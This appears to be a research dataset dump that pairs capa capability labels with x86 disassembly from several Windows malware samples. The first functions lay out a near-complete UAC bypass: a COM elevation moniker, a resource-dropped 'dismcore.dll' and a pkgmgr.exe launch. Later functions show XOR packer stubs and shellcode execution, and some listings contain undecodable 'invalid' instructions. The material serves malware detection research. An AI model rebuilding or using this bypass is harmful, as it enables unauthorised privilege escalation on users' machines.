joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401010
Capabilities:
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x278
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
push 0
mov edi, ecx
call dword [sym.imp.ole32.dll_CoInitialize]
push 0
push 0x24
lea eax, [ebp - 0x230]
push eax
call dword [0x403328]
push 0
push 0x3c
lea eax, [ebp - 0x278]
push eax
call dword [0x403328]
lea eax, [ebp - 0x234]
push eax
push 0x4020a0
push 7
push 0
push 0x4020b0
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov ecx, dword [ebp - 0x234]
test ecx, ecx
je 0x40107b
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
lea eax, [ebp - 0x234]
mov dword [ebp - 0x230], 0x24
push eax
push 0x4020a0
lea eax, [ebp - 0x230]
mov dword [ebp - 0x21c], 7
push eax
push str.Elevation:Administrator_new:3ad05575_8857_4850_9277_11b85bdb8e09
call dword [sym.imp.ole32.dll_CoGetObject]
mov eax, dword [ebp - 0x234]
push 0x10800010
push eax
mov ecx, dword [eax]
call dword [ecx + 0x14]
lea eax, [ebp - 0x238]
push eax
push 0x402090
push 0
push 0x403758
call dword [sym.imp.SHELL32.dll_SHCreateItemFromParsingName]
push 0
push 0x104
lea eax, [ebp - 0x20c]
push eax
call dword [0x403328]
push 0x104
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea eax, [ebp - 0x23c]
push eax
push 0x402090
push 0
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.SHELL32.dll_SHCreateItemFromParsingName]
mov eax, dword [ebp - 0x234]
push 0
push 0
push dword [ebp - 0x23c]
mov ecx, dword [eax]
push dword [ebp - 0x238]
push eax
call dword [ecx + 0x38]
mov eax, dword [ebp - 0x234]
push eax
mov ecx, dword [eax]
call dword [ecx + 0x54]
mov eax, dword [ebp - 0x23c]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x238]
mov dword [ebp - 0x23c], 0
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
lea eax, [ebp - 0x278]
mov dword [ebp - 0x238], 0
push eax
mov dword [ebp - 0x278], 0x3c
mov dword [ebp - 0x274], 0x40
mov dword [ebp - 0x25c], 0
mov dword [ebp - 0x268], edi
mov dword [ebp - 0x264], str._n:_temp_ellocnak.xml
mov dword [ebp - 0x260], 0
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
pop edi
test eax, eax
je 0x4011d5
mov eax, dword [ebp - 0x240]
test eax, eax
je 0x4011d5
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x240]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0x234]
test ecx, ecx
je 0x4011e5
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov ecx, dword [ebp - 0x238]
test ecx, ecx
je 0x4011f5
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov ecx, dword [ebp - 0x23c]
test ecx, ecx
je 0x401205
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040157f
mov esp, ebp
pop ebp
ret
Function at 0x401270
Capabilities:
Get common file path

Disassembly:
push esi
call dword [0x403334]
push 0
push 0x410
push 0x403b68
mov esi, eax
call dword [0x403328]
push 0x104
push 0x403b68
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
push str.explorer.exe
push 0x403b68
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push dword [esi + 0x1c]
call dword [0x403338]
mov eax, dword [esi + 0x10]
push 0x403b68
add eax, 0x38
push eax
call dword [0x403750]
mov eax, dword [esi + 0x10]
push 0x403b68
add eax, 0x40
push eax
call dword [0x403750]
push dword [esi + 0x1c]
call dword [0x403330]
push esi
push 0x401220
push 0
call dword [0x40333c]
pop esi
ret

Function at 0x401300
Capabilities:
Extract resource via kernel32 functions
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x418
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push str.WM_DISP
push 0x65
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push 0
mov edi, eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
mov dword [0x40332c], eax
call dword [sym.imp.KERNEL32.dll_LockResource]
push 0
push 0x208
push 0x403758
mov dword [0x403754], eax
call dword [0x403328]
push 0x403758
push 0x208
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push str.dismcore.dll
push 0x403758
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0
push 0x84
push 2
push 0
push 1
push 0x10000000
push 0x403758
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push 0
mov esi, eax
lea eax, [ebp - 0x418]
push eax
push dword [0x40332c]
push dword [0x403754]
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call edi
push 0
push 0x208
lea eax, [ebp - 0x414]
push eax
call dword [0x403328]
lea eax, [ebp - 0x414]
push eax
push 0x208
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push str.ellocnak.xml
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0
push 0x84
push 2
push 0
push 1
push 0x10000000
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push 0
mov esi, eax
lea eax, [ebp - 0x418]
push eax
push 0x1bc
push str.__xml_version_1.0__encoding_utf_8____r_n_unattend_xmlns_urn:schemas_microsoft_com:unattend___r_n_____servicing__r_n_________package_action_install___r_n_____________assemblyIdentity__name_Package_1_for_KB929761__version_6.0.1.1__language_neutral__processorArchitecture_x86__publicKeyToken_31bf3856ad364e35____r_n_____________source_location__configsetroot_Windows6.0_KB929761_x86.CAB_____r_n__________package__r_n_______servicing__r_n__unattend__r_n_r_n
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call edi
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040157f
mov esp, ebp
pop ebp
ret
Function at 0x401450
Capabilities:
Get common file path
Link many functions at runtime
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0x208
push 0x403340
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push str.RtlGetCurrentPeb
push str.ntdll.dll
call edi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call esi
push str.RtlEnterCriticalSection
push str.ntdll.dll
mov dword [0x403334], eax
call edi
push eax
call esi
push str.RtlLeaveCriticalSection
push str.ntdll.dll
mov dword [0x403338], eax
call edi
push eax
call esi
push str.RtlInitUnicodeString
push str.ntdll.dll
mov dword [0x403330], eax
call edi
push eax
call esi
push str.RtlFillMemory
push str.ntdll.dll
mov dword [0x403750], eax
call edi
push eax
call esi
push str.NtAllocateVirtualMemory
push str.ntdll.dll
mov dword [0x403328], eax
call edi
push eax
call esi
push str.LdrEnumerateLoadedModules
push str.ntdll.dll
call edi
push eax
call esi
mov dword [0x40333c], eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
jne 0x401565
call fcn.00401300
call fcn.00401270
mov edx, 0x104
lea ecx, [ebp - 0x20c]
call fcn.00401000
push 0x104
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push str.pkgmgr.exe
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea ecx, [ebp - 0x20c]
call fcn.00401010
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0
push 0
push str.Hey_Im_Admin
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x407d9c
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004033fc
xor eax, eax
push ebp
push 0x407e75
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp byte [eax], 0x5c
jne 0x407dd4
mov eax, dword [ebp - 4]
call fcn.004071d0
jmp 0x407ddc
mov eax, dword [ebp - 4]
call fcn.00407bd4
call fcn.00404ae8
mov esi, eax
test esi, esi
jle 0x407e28
mov ebx, 1
lea edx, [ebp - 8]
mov eax, ebx
call fcn.004049d0
mov eax, dword [ebp - 8]
cmp byte [eax], 0x5c
jne 0x407e12
lea edx, [ebp - 0xc]
mov eax, ebx
call fcn.004049d0
mov eax, dword [ebp - 0xc]
call fcn.004071d0
jmp 0x407e24
lea edx, [ebp - 0x10]
mov eax, ebx
call fcn.004049d0
mov eax, dword [ebp - 0x10]
call fcn.00407bd4
inc ebx
dec esi
jne 0x407dec
push 1
push dword [ebp - 4]
push 0x407e8c
lea edx, [ebp - 0x18]
xor eax, eax
call fcn.00406f34
push dword [ebp - 0x18]
lea eax, [ebp - 0x14]
mov edx, 3
call fcn.004032cc
mov eax, dword [ebp - 0x14]
call fcn.0040340c
push eax
call sub.kernel32.dll_WinExec
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x407e7c
lea eax, [ebp - 0x18]
mov edx, 6
call fcn.004030b8
ret

Function at 0x431002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
call 0x43100c
nop
nop
nop
nop
nop
pop eax
add eax, reloc.user32.dll_DestroyCursor
nop
sub eax, 0x403e10
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x431030
nop
nop
nop
add eax, 0xc
cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
jne 0x43101e
nop
nop
nop
nop
popal
nop
nop
jmp loc.00401219
Function at 0x405ef4
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x422a34], 0
push esi
jne 0x405f2b
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x405f05
mov dword [ecx*4 + 0x422a30], eax
inc ecx
cmp ecx, 0x100
jl 0x405f00
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x405f5c
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x422a30]
xor eax, esi
inc ecx
dec edx
jne 0x405f3e
pop edi
not eax
pop esi
ret 0xc

Function at 0x401000
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebx
push ecx
push edx
enter 0x84, 0
sub ebp, 0x82
mov dword [ebp - 2], 0
call fcn.00401554
mov ebx, eax
xor eax, eax
mov dword [ebp + 0x7e], eax
lea eax, [ebp + 0x7e]
push eax
mov eax, ebx
or al, 0x40
push eax
mov eax, 0x401e00
sub eax, fcn.004015cb
push eax
push fcn.004015cb
call dword [sym.imp.KERNEL32.DLL_VirtualProtect]
cmp dword [ebp + 0x7e], 0
je 0x40107d
mov eax, ebx
lea edx, [ebp - 2]
jmp loc.00422000
xor eax, eax
lea esp, [ebp + 0x82]
pop ebp
pop edx
pop ecx
pop ebx
ret

Function at 0x401554
Capabilities:
Delete file
Encode data using base64 via winapi

Disassembly:
push ebx
push ecx
push edx
enter 0x11c, 0
lea ebx, [ebp - 0xc]
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
push ebx
call dword [sym.imp.USER32.DLL_GetCursorPos]
push 0
push 0
lea ebx, [ebp - 4]
call dword [sym.imp.USER32.DLL_GetWindow]
push ebx
lea ebx, [ebp - 0x18]
push ebx
push 1
push 1
lea eax, [ebp - 0x11c]
push eax
mov dword [ebp - 4], 0xa
mov byte [ebp - 0x11c], 0
call dword [sym.imp.CRYPT32.DLL_CryptBinaryToStringA]
lea eax, [ebp - 0x18]
movzx ebx, byte [ebp - 0x18]
push eax
sub ebx, 0x41
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
mov eax, ebx
leave
pop edx
pop ecx
pop ebx
ret

Function at 0x4015cb
Capabilities:
Delete file

Disassembly:
hlt
push edi
mov edi, 0x72647246
jb 0x401617
ror byte [ecx + 0x6ed8c765], 0
inc edi
add al, 0xe8
push edi
jbe 0x4015a9
popal
mov dword [ebx + edx*2 + 0x6c], ebp
mov dword [ecx + 0x45], esp
jae 0x401612
and byte [ebp + eax*2], 0x8d
mov dword [edx - 0x39], edx
invalid
inc ebp
call 0x6e75775d
outsb dx, byte [esi]
inc ebp
inc ebp
add al, 0xa2
invalid
Function at 0x433003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
call 0x43300c
nop
pop eax
nop
nop
nop
nop
nop
add eax, 0x40a063
nop
sub eax, 0x40a009
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
nop
add ebx, 4
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x433030
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
jne 0x43301e
nop
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219

Function at 0x408a80
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ecx, ebp
mov esp, eax
adc al, 0x50
dec dword [eax]
adc al, 0xc1
jb 0x408a8d
and dword [ebx], 4
test eax, eax
je 0x408aa7
jno 0x408ae3
retf 0x558b
mov eax, edx
adc byte [ebx + 0x54680c4d], cl
stc
inc eax
sub eax, 0x8de85150
cld
invalid
push ecx
add al, 0x8d
inc ebp
movsb byte es:[edi], byte [esi]
enter 0xf01, 0x52
invalid
Function at 0x40117c
Capabilities:
Accept command line arguments
Query environment variable

Disassembly:
jmp 0x40118e
mov eax, dword [0x42d08b]
shl eax, 2
mov dword [0x42d08f], eax
push edx
push 0
call sub.KERNEL32.DLL_GetModuleHandleA
mov edx, eax
call fcn.0041fffc
pop edx
call fcn.0041ff60
call fcn.0042003c
push 0
call fcn.004214a0
pop ecx
push 0x42d034
push 0
call sub.KERNEL32.DLL_GetModuleHandleA
mov dword [0x42d093], eax
push 0
jmp fcn.00427944

Function at 0x4047e4
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff8
push 0xa
push 0x211
push 0
call sub.KERNEL32.DLL_FindResourceA
test eax, eax
je 0x404887
push eax
push 0
call sub.KERNEL32.DLL_LoadResource
push eax
call sub.KERNEL32.DLL_LockResource
mov esi, eax
mov ebp, 0x401468
mov eax, fcn.004047e4
push esp
sub eax, ebp
push 8
mov edi, ebp
push eax
push edi
mov ebx, edi
call sub.KERNEL32.DLL_VirtualProtect
test eax, eax
setne dl
and edx, 1
xor ecx, ecx
jmp 0x404849
mov eax, ecx
mov edi, 0x41b
xor edx, edx
div edi
mov al, byte [esi + edx]
xor byte [ebx], al
inc ebx
inc ecx
cmp ebx, fcn.004047e4
jne 0x404837
lea edx, [esp + 4]
mov esi, fcn.004047e4
push edx
mov ebx, 0x401468
mov ecx, dword [esp + 4]
mov eax, esi
sub eax, ebx
push ecx
push eax
push ebx
call sub.KERNEL32.DLL_VirtualProtect
test eax, eax
setne al
and eax, 1
sub esi, ebx
push esi
push ebx
call sub.KERNEL32.DLL_GetCurrentProcess
push eax
call sub.KERNEL32.DLL_FlushInstructionCache
pop ecx
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x404b54
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
mov ecx, 0x42da98
test edx, edx
jne 0x404b73
xor eax, eax
jmp 0x404c91
mov dword [ebp - 4], 1
cmp byte [ebp - 4], 0
je 0x404b90
push esi
push edx
push eax
call fcn.00404c98
add esp, 0xc
jmp 0x404c91
push esi
push edx
push eax
call fcn.00404f58
add esp, 0xc
jmp 0x404c91
pop esi
pop ebx
pop ecx
pop ebp
ret
Function at 0x406268
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov ebx, dword [ebp + 8]
mov esi, dword [ebx + 0x24]
mov eax, dword [ebx + 0x34]
sub eax, dword [ebx + 0x6c]
sub eax, dword [ebx + 0x64]
mov dword [ebp - 8], eax
jmp 0x4062a3
mov edx, dword [ebx + 0x24]
sub edx, 0x106
add edx, esi
cmp edx, dword [ebx + 0x64]
ja 0x406324
push esi
mov eax, dword [ebx + 0x30]
mov edx, eax
mov edi, esi
add edx, edi
push edx
push eax
call fcn.0042043c
add esp, 0xc
sub dword [ebx + 0x68], esi
sub dword [ebx + 0x64], esi
sub dword [ebx + 0x54], edi
mov eax, dword [ebx + 0x44]
mov edx, eax
add edx, edx
add edx, dword [ebx + 0x3c]
sub edx, 2
movzx ecx, word [edx]
mov dword [ebp - 4], ecx
cmp esi, dword [ebp - 4]
ja 0x4062f1
mov cx, word [ebp - 4]
sub cx, si
jmp 0x4062f3
xor ecx, ecx
mov word [edx], cx
dec eax
jne 0x4062da
mov eax, esi
mov edx, eax
add edx, edx
add edx, dword [ebx + 0x38]
sub edx, 2
movzx ecx, word [edx]
mov dword [ebp - 4], ecx
cmp esi, dword [ebp - 4]
ja 0x406319
mov cx, word [ebp - 4]
sub cx, si
jmp 0x40631b
xor ecx, ecx
mov word [edx], cx
dec eax
jne 0x406302
add dword [ebp - 8], esi
mov edi, dword [ebx]
cmp dword [edi + 4], 0
je 0x406386
mov eax, dword [ebp - 8]
push eax
mov edx, dword [ebx + 0x30]
add edx, dword [ebx + 0x64]
add edx, dword [ebx + 0x6c]
push edx
push edi
call fcn.00405f3c
add esp, 0xc
add dword [ebx + 0x6c], eax
cmp dword [ebx + 0x6c], 3
jb 0x406371
mov ecx, dword [ebx + 0x30]
mov eax, dword [ebx + 0x64]
movzx eax, byte [ecx + eax]
mov dword [ebx + 0x40], eax
mov ecx, dword [ebx + 0x50]
shl eax, cl
mov edx, dword [ebx + 0x30]
mov ecx, dword [ebx + 0x64]
movzx edx, byte [edx + ecx + 1]
xor eax, edx
and eax, dword [ebx + 0x4c]
mov dword [ebx + 0x40], eax
cmp dword [ebx + 0x6c], 0x106
jae 0x406386
mov eax, dword [ebx]
cmp dword [eax + 4], 0
jne 0x406277
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
ret

Function at 0x40ace0
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov eax, dword [ebp + 8]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov ebx, dword [eax]
mov esi, ebx
xor esi, ecx
and esi, 0xff
shr ebx, 8
mov esi, dword [edx + esi*4]
xor esi, ebx
mov dword [eax], esi
mov ebx, dword [eax]
and ebx, 0xff
add dword [eax + 4], ebx
imul ebx, dword [eax + 4], 0x8088405
inc ebx
mov dword [eax + 4], ebx
shr ebx, 0x18
xor ebx, dword [eax + 8]
and ebx, 0xff
mov edx, dword [edx + ebx*4]
mov ebx, dword [eax + 8]
shr ebx, 8
xor edx, ebx
mov dword [eax + 8], edx
mov eax, ecx
pop esi
pop ebx
pop ebp
ret
Function at 0x40c288
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov eax, dword [ebp + 8]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov ebx, dword [eax]
mov esi, ebx
xor esi, ecx
and esi, 0xff
shr ebx, 8
mov esi, dword [edx + esi*4]
xor esi, ebx
mov dword [eax], esi
mov ebx, dword [eax]
and ebx, 0xff
add dword [eax + 4], ebx
imul ebx, dword [eax + 4], 0x8088405
inc ebx
mov dword [eax + 4], ebx
shr ebx, 0x18
xor ebx, dword [eax + 8]
and ebx, 0xff
mov edx, dword [edx + ebx*4]
mov ebx, dword [eax + 8]
shr ebx, 8
xor edx, ebx
mov dword [eax + 8], edx
mov eax, ecx
pop esi
pop ebx
pop ebp
ret

Function at 0x40c324
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe0
push ebx
push esi
push edi
mov edi, dword [ebp + 0x18]
mov esi, dword [ebp + 0x14]
cmp dword [ebp + 0x10], 0xc
jge 0x40c340
xor eax, eax
jmp 0x40c483
inc dword [0x431278]
mov edx, dword [0x431278]
cmp edx, 1
jne 0x40c365
push 0
call fcn.004282f8
pop ecx
xor eax, 0xbb40e64e
push eax
call fcn.00424e44
pop ecx
push edi
push esi
mov ecx, dword [ebp + 8]
push ecx
call fcn.0040c2e4
add esp, 0xc
lea eax, [ebp - 0x14]
mov dword [ebp - 0x18], eax
xor ebx, ebx
call fcn.00424e70
sar eax, 7
and eax, 0xff
mov dword [ebp - 8], eax
push edi
push esi
call fcn.0040c260
add esp, 8
mov dword [ebp - 4], eax
mov edx, dword [ebp - 8]
push edx
push edi
push esi
call fcn.0040c288
mov cl, byte [ebp - 4]
mov eax, dword [ebp - 0x18]
xor cl, byte [ebp - 8]
add esp, 0xc
mov byte [eax], cl
inc ebx
inc dword [ebp - 0x18]
cmp ebx, 0xa
jl 0x40c37b
push edi
push esi
mov edx, dword [ebp + 8]
push edx
call fcn.0040c2e4
mov eax, dword [ebp + 0xc]
add esp, 0xc
mov edx, eax
lea ecx, [ebp - 0x14]
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x1c], ecx
xor ebx, ebx
push edi
push esi
call fcn.0040c260
add esp, 8
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x1c]
xor edx, edx
mov dl, byte [eax]
push edx
push edi
push esi
call fcn.0040c288
mov eax, dword [ebp - 0x1c]
mov cl, byte [ebp - 4]
mov edx, dword [ebp - 0x20]
add esp, 0xc
xor cl, byte [eax]
inc ebx
mov byte [edx], cl
inc dword [ebp - 0x20]
inc dword [ebp - 0x1c]
cmp ebx, 0xa
jl 0x40c3d8
push edi
push esi
call fcn.0040c260
add esp, 8
mov dword [ebp - 4], eax
mov ecx, dword [ebp + 0x1c]
shr ecx, 0x10
and ecx, 0xff
push ecx
push edi
push esi
call fcn.0040c288
mov edx, dword [ebp + 0x1c]
mov ecx, dword [ebp + 0xc]
shr edx, 0x10
mov al, byte [ebp - 4]
and dl, 0xff
add esp, 0xc
xor al, dl
mov byte [ecx + ebx], al
push edi
push esi
inc ebx
call fcn.0040c260
add esp, 8
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x1c]
shr eax, 0x18
and eax, 0xff
push eax
push edi
push esi
call fcn.0040c288
mov ecx, dword [ebp + 0x1c]
mov eax, dword [ebp + 0xc]
shr ecx, 0x18
mov dl, byte [ebp - 4]
and cl, 0xff
add esp, 0xc
xor dl, cl
mov byte [eax + ebx], dl
inc ebx
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x410050
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push 0x100
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.KERNEL32.DLL_GetLocaleInfoA
test eax, eax
jle 0x410089
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.0041de0c
jmp 0x410092
mov eax, ebx
mov edx, esi
call fcn.0041dd70
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x41009c
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.KERNEL32.DLL_GetLocaleInfoA
test eax, eax
jle 0x4100bd
mov al, byte [esp]
jmp 0x4100bf
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x410744
Capabilities:
Write file on windows

Disassembly:
add esp, 0xfffffbbc
push 0x400
lea ecx, [esp + 0x48]
call 0x4105bc
mov eax, dword [0x435180]
cmp byte [eax], 0
je 0x4107b1
mov eax, dword [0x435184]
call fcn.0041cba4
call fcn.0041c700
push 0
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x4c]
call fcn.0040e940
push eax
lea eax, [esp + 0x50]
push eax
push 0xfffffffffffffff5
call sub.KERNEL32.DLL_GetStdHandle
push eax
call sub.KERNEL32.DLL_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x4107f8
push 0xfffffffffffffff5
call sub.KERNEL32.DLL_GetStdHandle
push eax
call sub.KERNEL32.DLL_WriteFile
jmp 0x4107e7
push 0x40
lea eax, [esp + 8]
push eax
mov eax, dword [0x435074]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x4351cc]
call fcn.0041f1b0
push eax
call sub.USER32.DLL_LoadStringA
push 0x2010
lea eax, [esp + 8]
push eax
lea eax, [esp + 0x4c]
push eax
push 0
call sub.USER32.DLL_MessageBoxA
add esp, 0x444
ret

Function at 0x41128c
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
xor edx, edx
mov dword [ebp - 0xc], edx
xor edx, edx
push ebp
push 0x4112f0
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 7]
push edx
push 0x1004
push eax
call sub.KERNEL32.DLL_GetLocaleInfoA
lea eax, [ebp - 0xc]
lea edx, [ebp - 7]
mov ecx, 7
call fcn.0041df84
mov eax, dword [ebp - 0xc]
push eax
call sub.KERNEL32.DLL_GetACP
mov edx, eax
pop eax
call fcn.0040e698
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4112f7
lea eax, [ebp - 0xc]
call fcn.0041dd1c
ret
Function at 0x41d1b0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x431800]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x41d248
push SysFreeString
call sub.ADVAPI32.DLL_RegOpenKeyExA
test eax, eax
jne 0x41d228
xor eax, eax
push ebp
push 0x41d221
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x41d264
mov eax, dword [ebp - 4]
push eax
call sub.ADVAPI32.DLL_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x41d228
mov eax, dword [ebp - 4]
push eax
call sub.ADVAPI32.DLL_RegCloseKey
ret
mov ax, word [0x431800]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x431800], ax
mov esp, ebp
pop ebp
ret

Function at 0x41dba0
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x4354f8], 0
je 0x41dc01
cmp word [0x4356cc], 0xd7b2
jne 0x41dbc9
cmp dword [0x4356d4], 0
jbe 0x41dbc9
mov eax, 0x4356c8
call dword [0x4356e4]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push str.Runtime_error_____at_00000000
push 0xfffffffffffffff5
call sub.KERNEL32.DLL_GetStdHandle
push eax
call sub.KERNEL32.DLL_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x41dc28
push 0xfffffffffffffff5
call sub.KERNEL32.DLL_GetStdHandle
push eax
call sub.KERNEL32.DLL_WriteFile
pop edx
ret
cmp byte [0x43180c], 0
jne 0x41dc1d
push 0
push 0x431864
push str.Runtime_error_____at_00000000
push 0
call sub.USER32.DLL_MessageBoxA
pop edx
ret